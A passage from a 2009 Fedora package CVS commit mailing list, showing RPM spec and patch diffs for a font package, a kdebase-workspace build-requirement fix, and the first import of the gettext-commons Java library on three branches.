install -m 0644 -p Aegyptus.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} Aegyptus.otf

%doc *.txt


%changelog
* Wed Oct 21 2009 Robin Sonefors <ozamosi at flukkost.nu> 2.52-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:11:30 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:10:15 -0000	1.2
@@ -0,0 +1 @@
+Aegyptus.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:11:30 -0000	1.1
+++ sources	31 Oct 2009 16:10:15 -0000	1.2
@@ -0,0 +1 @@
+c063380062974eb8cb36c8db329ec8ef  Aegyptus.zip



From rdieter at fedoraproject.org  Sat Oct 31 16:13:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 16:13:36 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel kdebase-workspace.spec,1.304,1.305
Message-ID: <20091031161336.0621611C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2093

Modified Files:
	kdebase-workspace.spec 
Log Message:
kdm needs BR: libXau-devel libXdmcp-devel



Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/kdebase-workspace.spec,v
retrieving revision 1.304
retrieving revision 1.305
diff -u -p -r1.304 -r1.305
--- kdebase-workspace.spec	31 Oct 2009 15:19:54 -0000	1.304
+++ kdebase-workspace.spec	31 Oct 2009 16:13:35 -0000	1.305
@@ -79,6 +79,8 @@ BuildRequires: kdepimlibs-devel >= %{ver
 BuildRequires: libcaptury-devel
 BuildRequires: libutempter-devel
 BuildRequires: libxklavier-devel
+BuildRequires: libXau-devel
+BuildRequires: libXdmcp-devel
 BuildRequires: libXres-devel
 %ifnarch s390 s390x
 BuildRequires: lm_sensors-devel
@@ -470,8 +472,7 @@ fi
 %{_kde4_libexecdir}/kcmdatetimehelper
 %{_kde4_libexecdir}/kfontprint
 %{_kde4_libexecdir}/kio_fonts_helper
-# FIXME: why no longer built/installed?  -- Rex
-#{_kde4_libexecdir}/krootimage
+%{_kde4_libexecdir}/krootimage
 %{_kde4_libexecdir}/kscreenlocker
 %{_kde4_libexecdir}/test_kcm_xinerama
 %{_libdir}/strigi/
@@ -604,6 +605,7 @@ fi
 %changelog
 * Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
 - 4.3.3
+- BR: libXau-devel libXdmcp-devel
 
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - drop Requires: oxygen-icon-theme (dep moved to kdebase-runtime)



From musuruan at fedoraproject.org  Sat Oct 31 16:32:27 2009
From: musuruan at fedoraproject.org (musuruan)
Date: Sat, 31 Oct 2009 16:32:27 +0000 (UTC)
Subject: rpms/gettext-commons/devel gettext-commons-0.9.6-buildxml.patch,
	NONE, 1.1 gettext-commons-0.9.6-javadoc.patch, NONE,
	1.1 gettext-commons.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031163227.A534211C00EF@cvs1.fedora.phx.redhat.com>

Author: musuruan

Update of /cvs/pkgs/rpms/gettext-commons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7376/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gettext-commons-0.9.6-buildxml.patch 
	gettext-commons-0.9.6-javadoc.patch gettext-commons.spec 
	import.log 
Log Message:
First import


gettext-commons-0.9.6-buildxml.patch:
 build.xml |   65 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

--- NEW FILE gettext-commons-0.9.6-buildxml.patch ---

diff -Nur libgettext-commons-java-0.9/build.xml libgettext-commons-java-0.9.new/build.xml
--- libgettext-commons-java-0.9/build.xml	1970-01-01 00:00:00.000000000 +0000
+++ libgettext-commons-java-0.9.new/build.xml	2007-07-24 16:14:16.000000000 +0000
@@ -0,0 +1,65 @@
+<?xml version="1.0"?>
+
+<project name="gettext-commons" default="dist-binaries" basedir=".">
+
+    <description>gettext-commons for java build file</description>
+
+    <property name="dist" location="Releases"/>
+    <property name="build" value="Build"/>
+    <property name="src" value="src/java"/>
+    <property name="javadoc" value="api"/>
+    <property name="verbose" value="true"/>
+    <property name="debug" value="off"/>
+    <property name="version" value="0.9"/>
+
+    <target name="clean" description="deletes and recreates the destination directory">
+        <delete verbose="${verbose}" dir="${build}"/>
+        <delete verbose="${verbose}" dir="${dist}"/>
+        <delete verbose="${verbose}" dir="${javadoc}"/>
+        <mkdir dir="${build}"/>
+        <mkdir dir="${dist}"/>
+    </target>
+
+    <target name="compile" description="compile the source">
+        <javac classpath="${classpath}"
+            srcdir="${src}"
+            destdir="${build}"
+            debug="${debug}"
+            verbose="${verbose}"/>
+    </target>
+
+    <target name="dist-binaries" depends="clean, compile, javadoc" description="generate binary distribution">
+        <jar destfile="${dist}/gettext-commons-${version}.jar" update="false">
+            <manifest>
+                <attribute name="Main-Class" value="org.xnap.commons.i18n.I18n"/>
+            </manifest>
+            <fileset dir="${build}" excludes="**/test/*.class" />
+        </jar>
+    </target>
+
+    <target name="dist-source" depends="clean, compile" description="generate source distribution">
+        <jar destfile="${dist}/gettext-commons-${version}-src.jar" update="false">
+            <fileset dir="."
+                includes="${src}/**/*.java, ${src}/**/*.metadata, build.xml"/>
+        </jar>
+    </target>
+
+    <target name="javadoc" description="generate javadoc documentation">
+        <javadoc
+            destdir="${javadoc}"
+            defaultexcludes="yes"
+            author="true"
+            version="true"
+            use="true"
+            access="protected"
+            windowtitle="gettext-commons javadoc"
+            failonerror="true">
+            <packageset dir="${src}" defaultexcludes="yes">
+                <include name="org/xnap/commons/i18n/**"/>
+            </packageset>
+        </javadoc>
+    </target>
+
+    <target name="all" depends="dist-source, dist-binaries, javadoc" description="prepare source and binary distributions, and javadoc"/>
+
+</project>


gettext-commons-0.9.6-javadoc.patch:
 I18n.java |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE gettext-commons-0.9.6-javadoc.patch ---
diff -durN gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java
--- gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java	2009-02-11 16:03:21.000000000 +0100
+++ gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java	2009-08-14 14:47:58.000000000 +0200
@@ -544,7 +544,7 @@
 
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -555,7 +555,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code> and <code>obj2</code> 
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code> and <code>obj2</code> 
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -566,7 +566,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -577,7 +577,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5


--- NEW FILE gettext-commons.spec ---
Name:           gettext-commons
Version:        0.9.6
Release:        4%{?dist}
Summary:        Java internationalization (i18n) library

Group:          Development/Libraries
License:        LGPLv2+
URL:            http://code.google.com/p/gettext-commons/
Source0:        http://gettext-commons.googlecode.com/files/%{name}-%{version}-src.tar.gz
# This patch is from Debian
Patch0:         %{name}-0.9.6-buildxml.patch
# Fix some javadoc warnings
# http://code.google.com/p/gettext-commons/issues/detail?id=36
Patch1:         %{name}-0.9.6-javadoc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
Requires:       jpackage-utils
Requires:       java


%description
The Gettext Commons project provides Java classes for internationalization 
(i18n) through GNU gettext.

The lightweight library combines the power of the unix-style gettext tools 
with the widely used Java ResourceBundles. This makes it possible to use the 
original text instead of arbitrary property keys, which is less cumbersome 
and makes programs easier to read.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils


%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1
%patch1 -p1

# Remove pre-built JAR and class files
find -name '*.jar' -exec rm -f '{}' \;
find -name '*.class' -exec rm -f '{}' \;


%build
ant


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p Releases/%{name}-0.9.jar   \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar

# JAR alias
pushd $RPM_BUILD_ROOT%{_javadir}
ln -sf %{name}-%{version}.jar %{name}.jar
popd

# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -rp api/*  \
  $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

#javadoc alias
pushd $RPM_BUILD_ROOT%{_javadocdir}
ln -sf %{name}-%{version} %{name}
popd



%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%doc ChangeLog LICENSE.txt README


%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}
%{_javadocdir}/%{name}-%{version}


%changelog
* Fri Oct 16 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-4
- Submitted javadoc patch upstream
- Fixed javadoc package requires
- Created javadoc directory alias

* Fri Aug 14 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-3
- Fixed javadoc generation

* Sun Aug 09 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-2
- Created JAR alias

* Sun Aug 02 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-1
- First release
- Used build.xml from Debian


--- NEW FILE import.log ---
gettext-commons-0_9_6-4_fc10:HEAD:gettext-commons-0.9.6-4.fc10.src.rpm:1257006672


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:08:25 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:32:26 -0000	1.2
@@ -0,0 +1 @@
+gettext-commons-0.9.6-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:08:26 -0000	1.1
+++ sources	31 Oct 2009 16:32:27 -0000	1.2
@@ -0,0 +1 @@
+20274e0dc252ebb6c12059352936b39e  gettext-commons-0.9.6-src.tar.gz



From musuruan at fedoraproject.org  Sat Oct 31 16:35:09 2009
From: musuruan at fedoraproject.org (musuruan)
Date: Sat, 31 Oct 2009 16:35:09 +0000 (UTC)
Subject: rpms/gettext-commons/F-12 gettext-commons-0.9.6-buildxml.patch, NONE,
	1.1 gettext-commons-0.9.6-javadoc.patch, NONE,
	1.1 gettext-commons.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031163509.1BACA11C00EF@cvs1.fedora.phx.redhat.com>

Author: musuruan

Update of /cvs/pkgs/rpms/gettext-commons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8219/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	gettext-commons-0.9.6-buildxml.patch 
	gettext-commons-0.9.6-javadoc.patch gettext-commons.spec 
	import.log 
Log Message:
First import


gettext-commons-0.9.6-buildxml.patch:
 build.xml |   65 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

--- NEW FILE gettext-commons-0.9.6-buildxml.patch ---

diff -Nur libgettext-commons-java-0.9/build.xml libgettext-commons-java-0.9.new/build.xml
--- libgettext-commons-java-0.9/build.xml	1970-01-01 00:00:00.000000000 +0000
+++ libgettext-commons-java-0.9.new/build.xml	2007-07-24 16:14:16.000000000 +0000
@@ -0,0 +1,65 @@
+<?xml version="1.0"?>
+
+<project name="gettext-commons" default="dist-binaries" basedir=".">
+
+    <description>gettext-commons for java build file</description>
+
+    <property name="dist" location="Releases"/>
+    <property name="build" value="Build"/>
+    <property name="src" value="src/java"/>
+    <property name="javadoc" value="api"/>
+    <property name="verbose" value="true"/>
+    <property name="debug" value="off"/>
+    <property name="version" value="0.9"/>
+
+    <target name="clean" description="deletes and recreates the destination directory">
+        <delete verbose="${verbose}" dir="${build}"/>
+        <delete verbose="${verbose}" dir="${dist}"/>
+        <delete verbose="${verbose}" dir="${javadoc}"/>
+        <mkdir dir="${build}"/>
+        <mkdir dir="${dist}"/>
+    </target>
+
+    <target name="compile" description="compile the source">
+        <javac classpath="${classpath}"
+            srcdir="${src}"
+            destdir="${build}"
+            debug="${debug}"
+            verbose="${verbose}"/>
+    </target>
+
+    <target name="dist-binaries" depends="clean, compile, javadoc" description="generate binary distribution">
+        <jar destfile="${dist}/gettext-commons-${version}.jar" update="false">
+            <manifest>
+                <attribute name="Main-Class" value="org.xnap.commons.i18n.I18n"/>
+            </manifest>
+            <fileset dir="${build}" excludes="**/test/*.class" />
+        </jar>
+    </target>
+
+    <target name="dist-source" depends="clean, compile" description="generate source distribution">
+        <jar destfile="${dist}/gettext-commons-${version}-src.jar" update="false">
+            <fileset dir="."
+                includes="${src}/**/*.java, ${src}/**/*.metadata, build.xml"/>
+        </jar>
+    </target>
+
+    <target name="javadoc" description="generate javadoc documentation">
+        <javadoc
+            destdir="${javadoc}"
+            defaultexcludes="yes"
+            author="true"
+            version="true"
+            use="true"
+            access="protected"
+            windowtitle="gettext-commons javadoc"
+            failonerror="true">
+            <packageset dir="${src}" defaultexcludes="yes">
+                <include name="org/xnap/commons/i18n/**"/>
+            </packageset>
+        </javadoc>
+    </target>
+
+    <target name="all" depends="dist-source, dist-binaries, javadoc" description="prepare source and binary distributions, and javadoc"/>
+
+</project>


gettext-commons-0.9.6-javadoc.patch:
 I18n.java |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE gettext-commons-0.9.6-javadoc.patch ---
diff -durN gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java
--- gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java	2009-02-11 16:03:21.000000000 +0100
+++ gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java	2009-08-14 14:47:58.000000000 +0200
@@ -544,7 +544,7 @@
 
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -555,7 +555,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code> and <code>obj2</code> 
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code> and <code>obj2</code> 
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -566,7 +566,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -577,7 +577,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5


--- NEW FILE gettext-commons.spec ---
Name:           gettext-commons
Version:        0.9.6
Release:        4%{?dist}
Summary:        Java internationalization (i18n) library

Group:          Development/Libraries
License:        LGPLv2+
URL:            http://code.google.com/p/gettext-commons/
Source0:        http://gettext-commons.googlecode.com/files/%{name}-%{version}-src.tar.gz
# This patch is from Debian
Patch0:         %{name}-0.9.6-buildxml.patch
# Fix some javadoc warnings
# http://code.google.com/p/gettext-commons/issues/detail?id=36
Patch1:         %{name}-0.9.6-javadoc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
Requires:       jpackage-utils
Requires:       java


%description
The Gettext Commons project provides Java classes for internationalization 
(i18n) through GNU gettext.

The lightweight library combines the power of the unix-style gettext tools 
with the widely used Java ResourceBundles. This makes it possible to use the 
original text instead of arbitrary property keys, which is less cumbersome 
and makes programs easier to read.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils


%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1
%patch1 -p1

# Remove pre-built JAR and class files
find -name '*.jar' -exec rm -f '{}' \;
find -name '*.class' -exec rm -f '{}' \;


%build
ant


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p Releases/%{name}-0.9.jar   \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar

# JAR alias
pushd $RPM_BUILD_ROOT%{_javadir}
ln -sf %{name}-%{version}.jar %{name}.jar
popd

# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -rp api/*  \
  $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

#javadoc alias
pushd $RPM_BUILD_ROOT%{_javadocdir}
ln -sf %{name}-%{version} %{name}
popd



%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%doc ChangeLog LICENSE.txt README


%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}
%{_javadocdir}/%{name}-%{version}


%changelog
* Fri Oct 16 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-4
- Submitted javadoc patch upstream
- Fixed javadoc package requires
- Created javadoc directory alias

* Fri Aug 14 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-3
- Fixed javadoc generation

* Sun Aug 09 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-2
- Created JAR alias

* Sun Aug 02 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-1
- First release
- Used build.xml from Debian


--- NEW FILE import.log ---
gettext-commons-0_9_6-4_fc10:F-12:gettext-commons-0.9.6-4.fc10.src.rpm:1257006859


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:08:25 -0000	1.1
+++ .cvsignore	31 Oct 2009 16:35:07 -0000	1.2
@@ -0,0 +1 @@
+gettext-commons-0.9.6-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:08:26 -0000	1.1
+++ sources	31 Oct 2009 16:35:08 -0000	1.2
@@ -0,0 +1 @@
+20274e0dc252ebb6c12059352936b39e  gettext-commons-0.9.6-src.tar.gz



From musuruan at fedoraproject.org  Sat Oct 31 16:36:42 2009
From: musuruan at fedoraproject.org (musuruan)
Date: Sat, 31 Oct 2009 16:36:42 +0000 (UTC)
Subject: rpms/gettext-commons/F-11 gettext-commons-0.9.6-buildxml.patch, NONE,
	1.1 gettext-commons-0.9.6-javadoc.patch, NONE,
	1.1 gettext-commons.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031163642.73C0611C00EF@cvs1.fedora.phx.redhat.com>

Author: musuruan

Update of /cvs/pkgs/rpms/gettext-commons/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8817/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	gettext-commons-0.9.6-buildxml.patch 
	gettext-commons-0.9.6-javadoc.patch gettext-commons.spec 
	import.log 
Log Message:
First import


gettext-commons-0.9.6-buildxml.patch:
 build.xml |   65 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

--- NEW FILE gettext-commons-0.9.6-buildxml.patch ---

diff -Nur libgettext-commons-java-0.9/build.xml libgettext-commons-java-0.9.new/build.xml
--- libgettext-commons-java-0.9/build.xml	1970-01-01 00:00:00.000000000 +0000
+++ libgettext-commons-java-0.9.new/build.xml	2007-07-24 16:14:16.000000000 +0000
@@ -0,0 +1,65 @@
+<?xml version="1.0"?>
+
+<project name="gettext-commons" default="dist-binaries" basedir=".">
+
+    <description>gettext-commons for java build file</description>
+
+    <property name="dist" location="Releases"/>
+    <property name="build" value="Build"/>
+    <property name="src" value="src/java"/>
+    <property name="javadoc" value="api"/>
+    <property name="verbose" value="true"/>
+    <property name="debug" value="off"/>
+    <property name="version" value="0.9"/>
+
+    <target name="clean" description="deletes and recreates the destination directory">
+        <delete verbose="${verbose}" dir="${build}"/>
+        <delete verbose="${verbose}" dir="${dist}"/>
+        <delete verbose="${verbose}" dir="${javadoc}"/>
+        <mkdir dir="${build}"/>
+        <mkdir dir="${dist}"/>
+    </target>
+
+    <target name="compile" description="compile the source">
+        <javac classpath="${classpath}"
+            srcdir="${src}"
+            destdir="${build}"
+            debug="${debug}"
+            verbose="${verbose}"/>
+    </target>
+
+    <target name="dist-binaries" depends="clean, compile, javadoc" description="generate binary distribution">
+        <jar destfile="${dist}/gettext-commons-${version}.jar" update="false">
+            <manifest>
+                <attribute name="Main-Class" value="org.xnap.commons.i18n.I18n"/>
+            </manifest>
+            <fileset dir="${build}" excludes="**/test/*.class" />
+        </jar>
+    </target>
+
+    <target name="dist-source" depends="clean, compile" description="generate source distribution">
+        <jar destfile="${dist}/gettext-commons-${version}-src.jar" update="false">
+            <fileset dir="."
+                includes="${src}/**/*.java, ${src}/**/*.metadata, build.xml"/>
+        </jar>
+    </target>
+
+    <target name="javadoc" description="generate javadoc documentation">
+        <javadoc
+            destdir="${javadoc}"
+            defaultexcludes="yes"
+            author="true"
+            version="true"
+            use="true"
+            access="protected"
+            windowtitle="gettext-commons javadoc"
+            failonerror="true">
+            <packageset dir="${src}" defaultexcludes="yes">
+                <include name="org/xnap/commons/i18n/**"/>
+            </packageset>
+        </javadoc>
+    </target>
+
+    <target name="all" depends="dist-source, dist-binaries, javadoc" description="prepare source and binary distributions, and javadoc"/>
+
+</project>


gettext-commons-0.9.6-javadoc.patch:
 I18n.java |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE gettext-commons-0.9.6-javadoc.patch ---
diff -durN gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java
--- gettext-commons-0.9.6.orig/src/java/org/xnap/commons/i18n/I18n.java	2009-02-11 16:03:21.000000000 +0100
+++ gettext-commons-0.9.6/src/java/org/xnap/commons/i18n/I18n.java	2009-08-14 14:47:58.000000000 +0200
@@ -544,7 +544,7 @@
 
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -555,7 +555,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code> and <code>obj2</code> 
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code> and <code>obj2</code> 
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -566,7 +566,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code> and <code>obj3</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5
@@ -577,7 +577,7 @@
 	
 	/**
 	 * Overloaded method that invokes
-	 * {@link #trnc(String, String, String, long, Object[]) passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
+	 * {@link #trnc(String, String, String, long, Object[])} passing <code>obj1</code>, <code>obj2</code>, <code>obj3</code> and <code>obj4</code>
 	 * arguments as an array.
 	 * 
 	 * @since 0.9.5


--- NEW FILE gettext-commons.spec ---
Name:           gettext-commons
Version:        0.9.6
Release:        4%{?dist}
Summary:        Java internationalization (i18n) library

Group:          Development/Libraries
License:        LGPLv2+
URL:            http://code.google.com/p/gettext-commons/
Source0:        http://gettext-commons.googlecode.com/files/%{name}-%{version}-src.tar.gz
# This patch is from Debian
Patch0:         %{name}-0.9.6-buildxml.patch
# Fix some javadoc warnings
# http://code.google.com/p/gettext-commons/issues/detail?id=36
Patch1:         %{name}-0.9.6-javadoc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
Requires:       jpackage-utils
Requires:       java


%description
The Gettext Commons project provides Java classes for internationalization 
(i18n) through GNU gettext.

The lightweight library combines the power of the unix-style gettext tools 
with the widely used Java ResourceBundles. This makes it possible to use the 
original text instead of arbitrary property keys, which is less cumbersome 
and makes programs easier to read.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils


%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1
%patch1 -p1

# Remove pre-built JAR and class files
find -name '*.jar' -exec rm -f '{}' \;
find -name '*.class' -exec rm -f '{}' \;


%build
ant


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p Releases/%{name}-0.9.jar   \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar

# JAR alias
pushd $RPM_BUILD_ROOT%{_javadir}
ln -sf %{name}-%{version}.jar %{name}.jar
popd

# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -rp api/*  \
  $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

#javadoc alias
pushd $RPM_BUILD_ROOT%{_javadocdir}
ln -sf %{name}-%{version} %{name}
popd



%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%doc ChangeLog LICENSE.txt README


%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}
%{_javadocdir}/%{name}-%{version}


%changelog
* Fri Oct 16 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-4
- Submitted javadoc patch upstream
- Fixed javadoc package requires
- Created javadoc directory alias

* Fri Aug 14 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-3
- Fixed javadoc generation

* Sun Aug 09 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-2
- Created JAR alias

* Sun Aug 02 2009 Andrea Musuruane <musuruan at gmail.com> 0.9.6-1
- First release
- Used build.xml from Debian


--- NEW FILE import.log ---
gettext-commons-0_9_6-4_fc10:F-11:gettext-commons-0.9.6-4.fc10.src.rpm:1257006956


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gettext-commons/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
